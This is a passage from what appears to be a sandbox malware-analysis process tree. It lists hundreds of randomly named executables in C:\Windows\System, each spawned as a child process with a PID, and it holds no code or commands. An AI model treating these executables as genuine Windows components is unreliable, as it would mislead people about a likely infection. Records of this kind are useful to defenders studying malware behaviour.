  C:\Windows\System\Krvxsep.exe
  2⤵
  PID:8540
- C:\Windows\System\PwPmFjQ.exe
  C:\Windows\System\PwPmFjQ.exe
  2⤵
  PID:8568
- C:\Windows\System\MhiHxeg.exe
  C:\Windows\System\MhiHxeg.exe
  2⤵
  PID:8596
- C:\Windows\System\gDvhVNX.exe
  C:\Windows\System\gDvhVNX.exe
  2⤵
  PID:8624
- C:\Windows\System\bVmAwBY.exe
  C:\Windows\System\bVmAwBY.exe
  2⤵
  PID:8652
- C:\Windows\System\zHNmXGQ.exe
  C:\Windows\System\zHNmXGQ.exe
  2⤵
  PID:8680
- C:\Windows\System\LXSlzOO.exe
  C:\Windows\System\LXSlzOO.exe
  2⤵
  PID:8724
- C:\Windows\System\LRPvOxc.exe
  C:\Windows\System\LRPvOxc.exe
  2⤵
  PID:8740
- C:\Windows\System\MVJPZDM.exe
  C:\Windows\System\MVJPZDM.exe
  2⤵
  PID:8768
- C:\Windows\System\wzHbYmt.exe
  C:\Windows\System\wzHbYmt.exe
  2⤵
  PID:8804
- C:\Windows\System\edtoQAa.exe
  C:\Windows\System\edtoQAa.exe
  2⤵
  PID:8852
- C:\Windows\System\pGsGhbu.exe
  C:\Windows\System\pGsGhbu.exe
  2⤵
  PID:8884
- C:\Windows\System\EcrNFYx.exe
  C:\Windows\System\EcrNFYx.exe
  2⤵
  PID:8916
- C:\Windows\System\lLFvuOm.exe
  C:\Windows\System\lLFvuOm.exe
  2⤵
  PID:8956
- C:\Windows\System\tCxqAqh.exe
  C:\Windows\System\tCxqAqh.exe
  2⤵
  PID:8984
- C:\Windows\System\PJzKLlH.exe
  C:\Windows\System\PJzKLlH.exe
  2⤵
  PID:9012
- C:\Windows\System\sqwrGyr.exe
  C:\Windows\System\sqwrGyr.exe
  2⤵
  PID:9044
- C:\Windows\System\nuCKmoI.exe
  C:\Windows\System\nuCKmoI.exe
  2⤵
  PID:9076
- C:\Windows\System\QCcWizh.exe
  C:\Windows\System\QCcWizh.exe
  2⤵
  PID:9108
- C:\Windows\System\QHQFUqy.exe
  C:\Windows\System\QHQFUqy.exe
  2⤵
  PID:9136
- C:\Windows\System\BZPHTtr.exe
  C:\Windows\System\BZPHTtr.exe
  2⤵
  PID:9164
- C:\Windows\System\TykxvEK.exe
  C:\Windows\System\TykxvEK.exe
  2⤵
  PID:9192
- C:\Windows\System\fnEzhis.exe
  C:\Windows\System\fnEzhis.exe
  2⤵
  PID:7340
- C:\Windows\System\zAFEYOG.exe
  C:\Windows\System\zAFEYOG.exe
  2⤵
  PID:8256
- C:\Windows\System\WCsTADv.exe
  C:\Windows\System\WCsTADv.exe
  2⤵
  PID:8336
- C:\Windows\System\tTFzKXP.exe
  C:\Windows\System\tTFzKXP.exe
  2⤵
  PID:8420
- C:\Windows\System\XjGmfIf.exe
  C:\Windows\System\XjGmfIf.exe
  2⤵
  PID:8452
- C:\Windows\System\ECQpGzn.exe
  C:\Windows\System\ECQpGzn.exe
  2⤵
  PID:8552
- C:\Windows\System\dBhQkUn.exe
  C:\Windows\System\dBhQkUn.exe
  2⤵
  PID:8616
- C:\Windows\System\ncIMqHs.exe
  C:\Windows\System\ncIMqHs.exe
  2⤵
  PID:8676
- C:\Windows\System\dqGjhst.exe
  C:\Windows\System\dqGjhst.exe
  2⤵
  PID:8348
- C:\Windows\System\Mbnhxil.exe
  C:\Windows\System\Mbnhxil.exe
  2⤵
  PID:8284
- C:\Windows\System\vLtxKQF.exe
  C:\Windows\System\vLtxKQF.exe
  2⤵
  PID:8788
- C:\Windows\System\JuuHCnn.exe
  C:\Windows\System\JuuHCnn.exe
  2⤵
  PID:8896
- C:\Windows\System\LfZCpqR.exe
  C:\Windows\System\LfZCpqR.exe
  2⤵
  PID:8976
- C:\Windows\System\jHxMpuN.exe
  C:\Windows\System\jHxMpuN.exe
  2⤵
  PID:9040
- C:\Windows\System\uZuOuKP.exe
  C:\Windows\System\uZuOuKP.exe
  2⤵
  PID:9120
- C:\Windows\System\cWOaCKw.exe
  C:\Windows\System\cWOaCKw.exe
  2⤵
  PID:9184
- C:\Windows\System\MrycJcs.exe
  C:\Windows\System\MrycJcs.exe
  2⤵
  PID:8252
- C:\Windows\System\wJYPfGl.exe
  C:\Windows\System\wJYPfGl.exe
  2⤵
  PID:8448
- C:\Windows\System\QkZadla.exe
  C:\Windows\System\QkZadla.exe
  2⤵
  PID:8592
- C:\Windows\System\nYRzZpx.exe
  C:\Windows\System\nYRzZpx.exe
  2⤵
  PID:8736
- C:\Windows\System\qZKSqfr.exe
  C:\Windows\System\qZKSqfr.exe
  2⤵
  PID:8832
- C:\Windows\System\khqmusa.exe
  C:\Windows\System\khqmusa.exe
  2⤵
  PID:9024
- C:\Windows\System\YhfwTYU.exe
  C:\Windows\System\YhfwTYU.exe
  2⤵
  PID:9180
- C:\Windows\System\NBQAOGW.exe
  C:\Windows\System\NBQAOGW.exe
  2⤵
  PID:8400
- C:\Windows\System\NhYHMaK.exe
  C:\Windows\System\NhYHMaK.exe
  2⤵
  PID:8764
- C:\Windows\System\ONRNNcV.exe
  C:\Windows\System\ONRNNcV.exe
  2⤵
  PID:9156
- C:\Windows\System\wRpoRtP.exe
  C:\Windows\System\wRpoRtP.exe
  2⤵
  PID:8376
- C:\Windows\System\fYHwvDk.exe
  C:\Windows\System\fYHwvDk.exe
  2⤵
  PID:8716
- C:\Windows\System\UeVmkvn.exe
  C:\Windows\System\UeVmkvn.exe
  2⤵
  PID:9244
- C:\Windows\System\YzUxXUr.exe
  C:\Windows\System\YzUxXUr.exe
  2⤵
  PID:9272
- C:\Windows\System\fgtrauR.exe
  C:\Windows\System\fgtrauR.exe
  2⤵
  PID:9300
- C:\Windows\System\bqcluXR.exe
  C:\Windows\System\bqcluXR.exe
  2⤵
  PID:9328
- C:\Windows\System\zspjXPT.exe
  C:\Windows\System\zspjXPT.exe
  2⤵
  PID:9356
- C:\Windows\System\FShBUKL.exe
  C:\Windows\System\FShBUKL.exe
  2⤵
  PID:9384
- C:\Windows\System\ibuDeBZ.exe
  C:\Windows\System\ibuDeBZ.exe
  2⤵
  PID:9412
- C:\Windows\System\nIMOEDm.exe
  C:\Windows\System\nIMOEDm.exe
  2⤵
  PID:9456
- C:\Windows\System\YfRXMdu.exe
  C:\Windows\System\YfRXMdu.exe
  2⤵
  PID:9492
- C:\Windows\System\EhUsPGp.exe
  C:\Windows\System\EhUsPGp.exe
  2⤵
  PID:9528
- C:\Windows\System\YZvUrVQ.exe
  C:\Windows\System\YZvUrVQ.exe
  2⤵
  PID:9556
- C:\Windows\System\TIpikry.exe
  C:\Windows\System\TIpikry.exe
  2⤵
  PID:9588
- C:\Windows\System\aONycDi.exe
  C:\Windows\System\aONycDi.exe
  2⤵
  PID:9616
- C:\Windows\System\pprQDvs.exe
  C:\Windows\System\pprQDvs.exe
  2⤵
  PID:9644
- C:\Windows\System\qooqQRc.exe
  C:\Windows\System\qooqQRc.exe
  2⤵
  PID:9676
- C:\Windows\System\oexfAWt.exe
  C:\Windows\System\oexfAWt.exe
  2⤵
  PID:9704
- C:\Windows\System\smocHSy.exe
  C:\Windows\System\smocHSy.exe
  2⤵
  PID:9732
- C:\Windows\System\kJrhbUA.exe
  C:\Windows\System\kJrhbUA.exe
  2⤵
  PID:9760
- C:\Windows\System\XRlACFp.exe
  C:\Windows\System\XRlACFp.exe
  2⤵
  PID:9788
- C:\Windows\System\PtSHTiO.exe
  C:\Windows\System\PtSHTiO.exe
  2⤵
  PID:9816
- C:\Windows\System\PvwiNwB.exe
  C:\Windows\System\PvwiNwB.exe
  2⤵
  PID:9844
- C:\Windows\System\uALpWfX.exe
  C:\Windows\System\uALpWfX.exe
  2⤵
  PID:9884
- C:\Windows\System\zTLcalB.exe
  C:\Windows\System\zTLcalB.exe
  2⤵
  PID:9900
- C:\Windows\System\sFmHyim.exe
  C:\Windows\System\sFmHyim.exe
  2⤵
  PID:9928
- C:\Windows\System\FjUijnB.exe
  C:\Windows\System\FjUijnB.exe
  2⤵
  PID:9960
- C:\Windows\System\MlLedQN.exe
  C:\Windows\System\MlLedQN.exe
  2⤵
  PID:9988
- C:\Windows\System\tsxeexx.exe
  C:\Windows\System\tsxeexx.exe
  2⤵
  PID:10016
- C:\Windows\System\HAHbUfS.exe
  C:\Windows\System\HAHbUfS.exe
  2⤵
  PID:10044
- C:\Windows\System\coTJPsj.exe
  C:\Windows\System\coTJPsj.exe
  2⤵
  PID:10072
- C:\Windows\System\onZMrCh.exe
  C:\Windows\System\onZMrCh.exe
  2⤵
  PID:10100
- C:\Windows\System\AragfwI.exe
  C:\Windows\System\AragfwI.exe
  2⤵
  PID:10128
- C:\Windows\System\GkAcAhl.exe
  C:\Windows\System\GkAcAhl.exe
  2⤵
  PID:10156
- C:\Windows\System\cKbpEMk.exe
  C:\Windows\System\cKbpEMk.exe
  2⤵
  PID:10184
- C:\Windows\System\ICeWnxF.exe
  C:\Windows\System\ICeWnxF.exe
  2⤵
  PID:10208
- C:\Windows\System\hIMFNar.exe
  C:\Windows\System\hIMFNar.exe
  2⤵
  PID:8392
- C:\Windows\System\dFQQqQV.exe
  C:\Windows\System\dFQQqQV.exe
  2⤵
  PID:9284
- C:\Windows\System\yrOBufX.exe
  C:\Windows\System\yrOBufX.exe
  2⤵
  PID:8932
- C:\Windows\System\ChxrwML.exe
  C:\Windows\System\ChxrwML.exe
  2⤵
  PID:9292
- C:\Windows\System\wbDEkCc.exe
  C:\Windows\System\wbDEkCc.exe
  2⤵
  PID:9352
- C:\Windows\System\RXhwMnq.exe
  C:\Windows\System\RXhwMnq.exe
  2⤵
  PID:9404
- C:\Windows\System\qoCwrlA.exe
  C:\Windows\System\qoCwrlA.exe
  2⤵
  PID:9512
- C:\Windows\System\MQQZXSk.exe
  C:\Windows\System\MQQZXSk.exe
  2⤵
  PID:9584
- C:\Windows\System\yGwzZsV.exe
  C:\Windows\System\yGwzZsV.exe
  2⤵
  PID:9660
- C:\Windows\System\QTbvTRZ.exe
  C:\Windows\System\QTbvTRZ.exe
  2⤵
  PID:9500
- C:\Windows\System\vFdTgut.exe
  C:\Windows\System\vFdTgut.exe
  2⤵
  PID:9720
- C:\Windows\System\LJlrsGX.exe
  C:\Windows\System\LJlrsGX.exe
  2⤵
  PID:9780
- C:\Windows\System\uujXxtj.exe
  C:\Windows\System\uujXxtj.exe
  2⤵
  PID:9836
- C:\Windows\System\RGzvdmL.exe
  C:\Windows\System\RGzvdmL.exe
  2⤵
  PID:9896
- C:\Windows\System\oDmfhiX.exe
  C:\Windows\System\oDmfhiX.exe
  2⤵
  PID:9972
- C:\Windows\System\HwsIQOO.exe
  C:\Windows\System\HwsIQOO.exe
  2⤵
  PID:10036
- C:\Windows\System\dogVblr.exe
  C:\Windows\System\dogVblr.exe
  2⤵
  PID:10096
- C:\Windows\System\qBcdWUQ.exe
  C:\Windows\System\qBcdWUQ.exe
  2⤵
  PID:10152
- C:\Windows\System\IJSEPeK.exe
  C:\Windows\System\IJSEPeK.exe
  2⤵
  PID:10224
- C:\Windows\System\MJXSBtl.exe
  C:\Windows\System\MJXSBtl.exe
  2⤵
  PID:8848
- C:\Windows\System\XaOvryG.exe
  C:\Windows\System\XaOvryG.exe
  2⤵
  PID:9348
- C:\Windows\System\BqQGZGo.exe
  C:\Windows\System\BqQGZGo.exe
  2⤵
  PID:9548
- C:\Windows\System\joyecbc.exe
  C:\Windows\System\joyecbc.exe
  2⤵
  PID:9424
- C:\Windows\System\lJhIlXE.exe
  C:\Windows\System\lJhIlXE.exe
  2⤵
  PID:9776
- C:\Windows\System\bRZGWSB.exe
  C:\Windows\System\bRZGWSB.exe
  2⤵
  PID:9924
- C:\Windows\System\wNGgkzO.exe
  C:\Windows\System\wNGgkzO.exe
  2⤵
  PID:10084
- C:\Windows\System\tYmmRJh.exe
  C:\Windows\System\tYmmRJh.exe
  2⤵
  PID:10204
- C:\Windows\System\OtRqtwa.exe
  C:\Windows\System\OtRqtwa.exe
  2⤵
  PID:9408
- C:\Windows\System\sfsylgL.exe
  C:\Windows\System\sfsylgL.exe
  2⤵
  PID:4276
- C:\Windows\System\lpLQWAE.exe
  C:\Windows\System\lpLQWAE.exe
  2⤵
  PID:112
- C:\Windows\System\UtqZIMK.exe
  C:\Windows\System\UtqZIMK.exe
  2⤵
  PID:6968
- C:\Windows\System\RkWuwHq.exe
  C:\Windows\System\RkWuwHq.exe
  2⤵
  PID:7216
- C:\Windows\System\XBRgplD.exe
  C:\Windows\System\XBRgplD.exe
  2⤵
  PID:9752
- C:\Windows\System\LiZJdRR.exe
  C:\Windows\System\LiZJdRR.exe
  2⤵
  PID:10064
- C:\Windows\System\hegHBfd.exe
  C:\Windows\System\hegHBfd.exe
  2⤵
  PID:2944
- C:\Windows\System\dnBaGxc.exe
  C:\Windows\System\dnBaGxc.exe
  2⤵
  PID:4284
- C:\Windows\System\EXXLoHH.exe
  C:\Windows\System\EXXLoHH.exe
  2⤵
  PID:2380
- C:\Windows\System\YEczkcq.exe
  C:\Windows\System\YEczkcq.exe
  2⤵
  PID:1836
- C:\Windows\System\qeWefbU.exe
  C:\Windows\System\qeWefbU.exe
  2⤵
  PID:9324
- C:\Windows\System\CFFWWcQ.exe
  C:\Windows\System\CFFWWcQ.exe
  2⤵
  PID:876
- C:\Windows\System\CaeDTyS.exe
  C:\Windows\System\CaeDTyS.exe
  2⤵
  PID:10268
- C:\Windows\System\NHjprZf.exe
  C:\Windows\System\NHjprZf.exe
  2⤵
  PID:10296
- C:\Windows\System\uKfuqGL.exe
  C:\Windows\System\uKfuqGL.exe
  2⤵
  PID:10324
- C:\Windows\System\wYblKGd.exe
  C:\Windows\System\wYblKGd.exe
  2⤵
  PID:10352
- C:\Windows\System\UcblXlI.exe
  C:\Windows\System\UcblXlI.exe
  2⤵
  PID:10380
- C:\Windows\System\fFnVUfE.exe
  C:\Windows\System\fFnVUfE.exe
  2⤵
  PID:10408
- C:\Windows\System\uVYkoKP.exe
  C:\Windows\System\uVYkoKP.exe
  2⤵
  PID:10436
- C:\Windows\System\MNtgHzw.exe
  C:\Windows\System\MNtgHzw.exe
  2⤵
  PID:10464
- C:\Windows\System\JGtRfrZ.exe
  C:\Windows\System\JGtRfrZ.exe
  2⤵
  PID:10492
- C:\Windows\System\bxRvyOJ.exe
  C:\Windows\System\bxRvyOJ.exe
  2⤵
  PID:10520
- C:\Windows\System\ajCtLtB.exe
  C:\Windows\System\ajCtLtB.exe
  2⤵
  PID:10548
- C:\Windows\System\LImxess.exe
  C:\Windows\System\LImxess.exe
  2⤵
  PID:10580
- C:\Windows\System\rsWtBuy.exe
  C:\Windows\System\rsWtBuy.exe
  2⤵
  PID:10608
- C:\Windows\System\EwRfIha.exe
  C:\Windows\System\EwRfIha.exe
  2⤵
  PID:10636
- C:\Windows\System\gfFsJVQ.exe
  C:\Windows\System\gfFsJVQ.exe
  2⤵
  PID:10664
- C:\Windows\System\UavCPlA.exe
  C:\Windows\System\UavCPlA.exe
  2⤵
  PID:10692
- C:\Windows\System\xgHhszb.exe
  C:\Windows\System\xgHhszb.exe
  2⤵
  PID:10720
- C:\Windows\System\ibczDwG.exe
  C:\Windows\System\ibczDwG.exe
  2⤵
  PID:10748
- C:\Windows\System\ZnpknNP.exe
  C:\Windows\System\ZnpknNP.exe
  2⤵
  PID:10776
- C:\Windows\System\wASwfSF.exe
  C:\Windows\System\wASwfSF.exe
  2⤵
  PID:10804
- C:\Windows\System\mOvHnxW.exe
  C:\Windows\System\mOvHnxW.exe
  2⤵
  PID:10836
- C:\Windows\System\oHCWnBo.exe
  C:\Windows\System\oHCWnBo.exe
  2⤵
  PID:10864
- C:\Windows\System\kInINNi.exe
  C:\Windows\System\kInINNi.exe
  2⤵
  PID:10892
- C:\Windows\System\qnSutbl.exe
  C:\Windows\System\qnSutbl.exe
  2⤵
  PID:10920
- C:\Windows\System\AjiUgch.exe
  C:\Windows\System\AjiUgch.exe
  2⤵
  PID:10948
- C:\Windows\System\zaXxjEv.exe
  C:\Windows\System\zaXxjEv.exe
  2⤵
  PID:10976
- C:\Windows\System\Xmkrjes.exe
  C:\Windows\System\Xmkrjes.exe
  2⤵
  PID:11004
- C:\Windows\System\jyJcgct.exe
  C:\Windows\System\jyJcgct.exe
  2⤵
  PID:11032
- C:\Windows\System\GWPXjlS.exe
  C:\Windows\System\GWPXjlS.exe
  2⤵
  PID:11060
- C:\Windows\System\EXZxaNX.exe
  C:\Windows\System\EXZxaNX.exe
  2⤵
  PID:11088
- C:\Windows\System\mgIJVtY.exe
  C:\Windows\System\mgIJVtY.exe
  2⤵
  PID:11116
- C:\Windows\System\sEedeiJ.exe
  C:\Windows\System\sEedeiJ.exe
  2⤵
  PID:11160
- C:\Windows\System\BfHzfOk.exe
  C:\Windows\System\BfHzfOk.exe
  2⤵
  PID:11208
- C:\Windows\System\zhcazTO.exe
  C:\Windows\System\zhcazTO.exe
  2⤵
  PID:11248
- C:\Windows\System\pVLvwSD.exe
  C:\Windows\System\pVLvwSD.exe
  2⤵
  PID:10280
- C:\Windows\System\JaHTnQn.exe
  C:\Windows\System\JaHTnQn.exe
  2⤵
  PID:10344
- C:\Windows\System\ePaMjbE.exe
  C:\Windows\System\ePaMjbE.exe
  2⤵
  PID:10404
- C:\Windows\System\TLOXVKI.exe
  C:\Windows\System\TLOXVKI.exe
  2⤵
  PID:10488
- C:\Windows\System\yFhnXms.exe
  C:\Windows\System\yFhnXms.exe
  2⤵
  PID:10600
- C:\Windows\System\HwdbeZu.exe
  C:\Windows\System\HwdbeZu.exe
  2⤵
  PID:10712
- C:\Windows\System\WnVRteR.exe
  C:\Windows\System\WnVRteR.exe
  2⤵
  PID:10848
- C:\Windows\System\ROsecmc.exe
  C:\Windows\System\ROsecmc.exe
  2⤵
  PID:10940
- C:\Windows\System\yHVputR.exe
  C:\Windows\System\yHVputR.exe
  2⤵
  PID:11000
- C:\Windows\System\PVKSXfa.exe
  C:\Windows\System\PVKSXfa.exe
  2⤵
  PID:11080
- C:\Windows\System\LWEzcEb.exe
  C:\Windows\System\LWEzcEb.exe
  2⤵
  PID:11152
- C:\Windows\System\RlTrayY.exe
  C:\Windows\System\RlTrayY.exe
  2⤵
  PID:11132
- C:\Windows\System\xpoYlkA.exe
  C:\Windows\System\xpoYlkA.exe
  2⤵
  PID:11244
- C:\Windows\System\XzaubqY.exe
  C:\Windows\System\XzaubqY.exe
  2⤵
  PID:10396
- C:\Windows\System\ghvlytD.exe
  C:\Windows\System\ghvlytD.exe
  2⤵
  PID:10532
- C:\Windows\System\PflHtgW.exe
  C:\Windows\System\PflHtgW.exe
  2⤵
  PID:10704
- C:\Windows\System\kyvOXLW.exe
  C:\Windows\System\kyvOXLW.exe
  2⤵
  PID:10932
- C:\Windows\System\hFFnBbE.exe
  C:\Windows\System\hFFnBbE.exe
  2⤵
  PID:11052
- C:\Windows\System\rfJvknl.exe
  C:\Windows\System\rfJvknl.exe
  2⤵
  PID:11240
- C:\Windows\System\DGWxZja.exe
  C:\Windows\System\DGWxZja.exe
  2⤵
  PID:10476
- C:\Windows\System\tGtLGBE.exe
  C:\Windows\System\tGtLGBE.exe
  2⤵
  PID:3448
- C:\Windows\System\WgdSTlR.exe
  C:\Windows\System\WgdSTlR.exe
  2⤵
  PID:1644
- C:\Windows\System\JKcKcDY.exe
  C:\Windows\System\JKcKcDY.exe
  2⤵
  PID:11304
- C:\Windows\System\rxsMRgB.exe
  C:\Windows\System\rxsMRgB.exe
  2⤵
  PID:11360
- C:\Windows\System\RoQACxQ.exe
  C:\Windows\System\RoQACxQ.exe
  2⤵
  PID:11396
- C:\Windows\System\HQJjUeH.exe
  C:\Windows\System\HQJjUeH.exe
  2⤵
  PID:11424
- C:\Windows\System\reqGEKA.exe
  C:\Windows\System\reqGEKA.exe
  2⤵
  PID:11452
- C:\Windows\System\xnoVpfD.exe
  C:\Windows\System\xnoVpfD.exe
  2⤵
  PID:11468
- C:\Windows\System\AfZlZSb.exe
  C:\Windows\System\AfZlZSb.exe
  2⤵
  PID:11508
- C:\Windows\System\MSbvVpj.exe
  C:\Windows\System\MSbvVpj.exe
  2⤵
  PID:11536
- C:\Windows\System\PDIzPJe.exe
  C:\Windows\System\PDIzPJe.exe
  2⤵
  PID:11564
- C:\Windows\System\wcPLQHr.exe
  C:\Windows\System\wcPLQHr.exe
  2⤵
  PID:11592
- C:\Windows\System\cOtLszx.exe
  C:\Windows\System\cOtLszx.exe
  2⤵
  PID:11620
- C:\Windows\System\NgqwKYQ.exe
  C:\Windows\System\NgqwKYQ.exe
  2⤵
  PID:11648
- C:\Windows\System\WSTYcwf.exe
  C:\Windows\System\WSTYcwf.exe
  2⤵
  PID:11676
- C:\Windows\System\hgNdEnU.exe
  C:\Windows\System\hgNdEnU.exe
  2⤵
  PID:11704
- C:\Windows\System\YrdLgOI.exe
  C:\Windows\System\YrdLgOI.exe
  2⤵
  PID:11732
- C:\Windows\System\lEwXqTw.exe
  C:\Windows\System\lEwXqTw.exe
  2⤵
  PID:11760
- C:\Windows\System\avUEGzR.exe
  C:\Windows\System\avUEGzR.exe
  2⤵
  PID:11788
- C:\Windows\System\ovdmcmX.exe
  C:\Windows\System\ovdmcmX.exe
  2⤵
  PID:11816
- C:\Windows\System\rnrYqrn.exe
  C:\Windows\System\rnrYqrn.exe
  2⤵
  PID:11844
- C:\Windows\System\TUsFaDi.exe
  C:\Windows\System\TUsFaDi.exe
  2⤵
  PID:11872
- C:\Windows\System\fHTlTsK.exe
  C:\Windows\System\fHTlTsK.exe
  2⤵
  PID:11900
- C:\Windows\System\dGQcuhH.exe
  C:\Windows\System\dGQcuhH.exe
  2⤵
  PID:11928
- C:\Windows\System\VyjgVXS.exe
  C:\Windows\System\VyjgVXS.exe
  2⤵
  PID:11956
- C:\Windows\System\gRNGUWH.exe
  C:\Windows\System\gRNGUWH.exe
  2⤵
  PID:11984
- C:\Windows\System\LgAMKwC.exe
  C:\Windows\System\LgAMKwC.exe
  2⤵
  PID:12012
- C:\Windows\System\KJymyNi.exe
  C:\Windows\System\KJymyNi.exe
  2⤵
  PID:12040
- C:\Windows\System\SKKwDTd.exe
  C:\Windows\System\SKKwDTd.exe
  2⤵
  PID:12068
- C:\Windows\System\KiQswwu.exe
  C:\Windows\System\KiQswwu.exe
  2⤵
  PID:12096
- C:\Windows\System\YfAGRTa.exe
  C:\Windows\System\YfAGRTa.exe
  2⤵
  PID:12124
- C:\Windows\System\dCYabrU.exe
  C:\Windows\System\dCYabrU.exe
  2⤵
  PID:12156
- C:\Windows\System\FsxaILP.exe
  C:\Windows\System\FsxaILP.exe
  2⤵
  PID:12180
- C:\Windows\System\vNgFyqv.exe
  C:\Windows\System\vNgFyqv.exe
  2⤵
  PID:12208
- C:\Windows\System\qGPtUxo.exe
  C:\Windows\System\qGPtUxo.exe
  2⤵
  PID:12236
- C:\Windows\System\OKTKDgJ.exe
  C:\Windows\System\OKTKDgJ.exe
  2⤵
  PID:12264
- C:\Windows\System\rDZnqXS.exe
  C:\Windows\System\rDZnqXS.exe
  2⤵
  PID:10336
- C:\Windows\System\nnAaoCR.exe
  C:\Windows\System\nnAaoCR.exe
  2⤵
  PID:11284
- C:\Windows\System\yvMqAsf.exe
  C:\Windows\System\yvMqAsf.exe
  2⤵
  PID:11348
- C:\Windows\System\yOkgNtd.exe
  C:\Windows\System\yOkgNtd.exe
  2⤵
  PID:11388
- C:\Windows\System\TKEqOlA.exe
  C:\Windows\System\TKEqOlA.exe
  2⤵
  PID:11436
- C:\Windows\System\MfRojda.exe
  C:\Windows\System\MfRojda.exe
  2⤵
  PID:11504
- C:\Windows\System\vQBUtOQ.exe
  C:\Windows\System\vQBUtOQ.exe
  2⤵
  PID:11548
- C:\Windows\System\ttnPdhb.exe
  C:\Windows\System\ttnPdhb.exe
  2⤵
  PID:11584
- C:\Windows\System\VFBNtYi.exe
  C:\Windows\System\VFBNtYi.exe
  2⤵
  PID:11640
- C:\Windows\System\CwAIToV.exe
  C:\Windows\System\CwAIToV.exe
  2⤵
  PID:11700
- C:\Windows\System\GhXJUVE.exe
  C:\Windows\System\GhXJUVE.exe
  2⤵
  PID:11832
- C:\Windows\System\kgylmFf.exe
  C:\Windows\System\kgylmFf.exe
  2⤵
  PID:11940
- C:\Windows\System\gKVxEmw.exe
  C:\Windows\System\gKVxEmw.exe
  2⤵
  PID:12028
- C:\Windows\System\QlDBCFq.exe
  C:\Windows\System\QlDBCFq.exe
  2⤵
  PID:12080
- C:\Windows\System\vayOchR.exe
  C:\Windows\System\vayOchR.exe
  2⤵
  PID:12116
- C:\Windows\System\YVljddY.exe
  C:\Windows\System\YVljddY.exe
  2⤵
  PID:3724
- C:\Windows\System\ORJzZnR.exe
  C:\Windows\System\ORJzZnR.exe
  2⤵
  PID:12256
- C:\Windows\System\MRwfinV.exe
  C:\Windows\System\MRwfinV.exe
  2⤵
  PID:10988
- C:\Windows\System\HMAqfyG.exe
  C:\Windows\System\HMAqfyG.exe
  2⤵
  PID:3668
- C:\Windows\System\YcVROvC.exe
  C:\Windows\System\YcVROvC.exe
  2⤵
  PID:2968
- C:\Windows\System\gdfWpko.exe
  C:\Windows\System\gdfWpko.exe
  2⤵
  PID:10832
- C:\Windows\System\SzBGrpx.exe
  C:\Windows\System\SzBGrpx.exe
  2⤵
  PID:11616
- C:\Windows\System\IlASzrH.exe
  C:\Windows\System\IlASzrH.exe
  2⤵
  PID:11200
- C:\Windows\System\zcSiFBy.exe
  C:\Windows\System\zcSiFBy.exe
  2⤵
  PID:11860
- C:\Windows\System\edwDGuJ.exe
  C:\Windows\System\edwDGuJ.exe
  2⤵
  PID:11172
- C:\Windows\System\qggfTIJ.exe
  C:\Windows\System\qggfTIJ.exe
  2⤵
  PID:12060
- C:\Windows\System\AacrVjs.exe
  C:\Windows\System\AacrVjs.exe
  2⤵
  PID:12204
- C:\Windows\System\PfuwNUV.exe
  C:\Windows\System\PfuwNUV.exe
  2⤵
  PID:10996
- C:\Windows\System\epGhzyR.exe
  C:\Windows\System\epGhzyR.exe
  2⤵
  PID:11416
- C:\Windows\System\ZCRZpYk.exe
  C:\Windows\System\ZCRZpYk.exe
  2⤵
  PID:11744
- C:\Windows\System\WjvNADe.exe
  C:\Windows\System\WjvNADe.exe
  2⤵
  PID:11268
- C:\Windows\System\hKFXpWN.exe
  C:\Windows\System\hKFXpWN.exe
  2⤵
  PID:11320
- C:\Windows\System\IuHDlBJ.exe
  C:\Windows\System\IuHDlBJ.exe
  2⤵
  PID:11636
- C:\Windows\System\wpMFUxL.exe
  C:\Windows\System\wpMFUxL.exe
  2⤵
  PID:4576
- C:\Windows\System\zGuUTFV.exe
  C:\Windows\System\zGuUTFV.exe
  2⤵
  PID:11576
- C:\Windows\System\ArHAqYa.exe
  C:\Windows\System\ArHAqYa.exe
  2⤵
  PID:12308
- C:\Windows\System\HeevZEo.exe
  C:\Windows\System\HeevZEo.exe
  2⤵
  PID:12336
- C:\Windows\System\DWTsKuN.exe
  C:\Windows\System\DWTsKuN.exe
  2⤵
  PID:12364
- C:\Windows\System\ykWtjOP.exe
  C:\Windows\System\ykWtjOP.exe
  2⤵
  PID:12392
- C:\Windows\System\LjcsrBY.exe
  C:\Windows\System\LjcsrBY.exe
  2⤵
  PID:12420
- C:\Windows\System\VCTxfqd.exe
  C:\Windows\System\VCTxfqd.exe
  2⤵
  PID:12448
- C:\Windows\System\RctrGHV.exe
  C:\Windows\System\RctrGHV.exe
  2⤵
  PID:12476
- C:\Windows\System\AqdeQMR.exe
  C:\Windows\System\AqdeQMR.exe
  2⤵
  PID:12508
- C:\Windows\System\RLSFVoh.exe
  C:\Windows\System\RLSFVoh.exe
  2⤵
  PID:12536
- C:\Windows\System\OOsxzTc.exe
  C:\Windows\System\OOsxzTc.exe
  2⤵
  PID:12564
- C:\Windows\System\OEVocPr.exe
  C:\Windows\System\OEVocPr.exe
  2⤵
  PID:12592
- C:\Windows\System\ZEXPRFw.exe
  C:\Windows\System\ZEXPRFw.exe
  2⤵
  PID:12620
- C:\Windows\System\BznUgWI.exe
  C:\Windows\System\BznUgWI.exe
  2⤵
  PID:12648
- C:\Windows\System\LbIhGkT.exe
  C:\Windows\System\LbIhGkT.exe
  2⤵
  PID:12676
- C:\Windows\System\CcuHwYi.exe
  C:\Windows\System\CcuHwYi.exe
  2⤵
  PID:12704
- C:\Windows\System\swSoEqZ.exe
  C:\Windows\System\swSoEqZ.exe
  2⤵
  PID:12732
- C:\Windows\System\yJqWawd.exe
  C:\Windows\System\yJqWawd.exe
  2⤵
  PID:12760
- C:\Windows\System\KynHUyn.exe
  C:\Windows\System\KynHUyn.exe
  2⤵
  PID:12784
- C:\Windows\System\RaYEwrx.exe
  C:\Windows\System\RaYEwrx.exe
  2⤵
  PID:12800
- C:\Windows\System\EAlplrf.exe
  C:\Windows\System\EAlplrf.exe
  2⤵
  PID:12816
- C:\Windows\System\CIlHfyR.exe
  C:\Windows\System\CIlHfyR.exe
  2⤵
  PID:12836
- C:\Windows\System\AdmuMQV.exe
  C:\Windows\System\AdmuMQV.exe
  2⤵
  PID:12852
- C:\Windows\System\jQRaqPF.exe
  C:\Windows\System\jQRaqPF.exe
  2⤵
  PID:12888
- C:\Windows\System\LznPBQr.exe
  C:\Windows\System\LznPBQr.exe
  2⤵
  PID:12920
- C:\Windows\System\ERNbXDP.exe
  C:\Windows\System\ERNbXDP.exe
  2⤵
  PID:12940
- C:\Windows\System\LKAvmsh.exe
  C:\Windows\System\LKAvmsh.exe
  2⤵
  PID:12968
- C:\Windows\System\aCAoZgi.exe
  C:\Windows\System\aCAoZgi.exe
  2⤵
  PID:13004
- C:\Windows\System\KZPDEMl.exe
